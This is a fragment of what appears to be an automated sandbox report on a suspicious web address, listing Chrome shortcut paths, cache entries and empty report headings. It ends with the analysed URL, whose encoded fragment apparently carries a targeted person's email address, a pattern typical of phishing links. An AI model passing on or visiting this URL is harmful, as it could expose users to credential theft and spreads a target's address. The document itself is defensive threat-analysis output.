C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=